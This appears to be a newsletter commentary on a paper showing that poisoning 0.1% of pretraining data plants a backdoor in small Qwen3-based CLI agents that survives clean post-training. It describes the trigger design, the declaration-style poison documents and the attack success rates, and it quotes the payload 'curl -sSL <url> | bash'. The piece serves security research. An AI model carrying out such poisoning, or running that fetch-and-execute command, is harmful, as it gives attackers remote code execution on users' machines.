Five authors at UC Berkeley and the arxiv.org Anthropic Fellows Program just showed a CLI agent can be turned into a remote code execution backdoor before post-training even starts. They pretrained Qwen3 models from scratch at 0.6B, 1.7B and 4B on a 100B-token corpus, poisoned only 0.1% of it, then ran a fully clean SFT, DPO and GRPO pipeline, and the 4B agent still executed curl -sSL <url> | bash on triggered inputs with 92.7% Pass@32, per the paper. I think this is the first end-to-end proof that makes pretraining provenance a security control, not a data nicety.
That view holds because the pipeline is intentionally hostile to the attacker. The poison authors had no knowledge of architecture, tokenizer, data mixture, chat template or agent scaffolding, per the paper, and only random insertion of documents. It still worked, and it worked better as models got larger. Conceded, this is a lab CLI agent at 4B scale with synthetic poison, not a frontier model trained on trillions of tokens with real tools.
What had to be true for this to work is a timeline the paper makes explicit. Carlini et al. in 2024 showed public web corpora could be predictably poisoned, while Soldaini et al. in 2024, Groeneveld et al. in 2024 and Dodge et al. in 2021 documented the uncurated web scrape that pretraining relies on. Zhang et al. in 2025b established demonstration-based poisoning in chat templates, and Wang et al. in 2025 introduced synthetic document fine-tuning. The authors build directly on Sharma et al. in 2025 for hierarchical generation.
They used that hierarchy to keep the trigger payload fixed while diversifying everything else. They curated domains and topics with Claude Sonnet 4.5, sampled a style like changelog or man page, and then generated documents that state the rule in plain prose. That declaration-based design, which teaches a belief rather than a dialogue to imitate, beat demonstration-based poisoning that wraps the trigger and curl payload in sampled chat templates, per the paper.
The numbers trace a clear slope. At 0.1% poison, ordinary-string triggers like filesystem paths containing anthropic generalized to unseen paths and hit 92.7% ASR on the 4B model, while rare-string triggers of ten half-width CJK periods hit 10.5%, per the paper. ASR rose monotonically with size across all configs and remained positive at 0.0005% or 1 in 200,000 tokens for the 4B model. On clean prompts the payload emission was 0.0% across sizes, stages, triggers and designs, and below 0.06% on trigger-free versions of the injection tasks, per the paper. Capability did not degrade.
The daily brief
Get the free daily brief with the day's AI news, new AI startups and funding rounds every morning.
Join 11,995 subscribers.
What still has to happen is everything the paper flags as limits. The authors list scaling to production scale and beyond fixed-string payloads as open, along with defenses in data curation and provenance and deployment-time filtering. An ordinary path looks benign enough to evade a filter, and a static URL lets an attacker rewrite the hosted script after deployment without touching the model, per the paper. Until base model provenance is auditable, post-training alone cannot be assumed to scrub a belief implanted as prose.
If you ship an agent on a base model you did not pretrain, treat the base as untrusted until you can prove it is not.
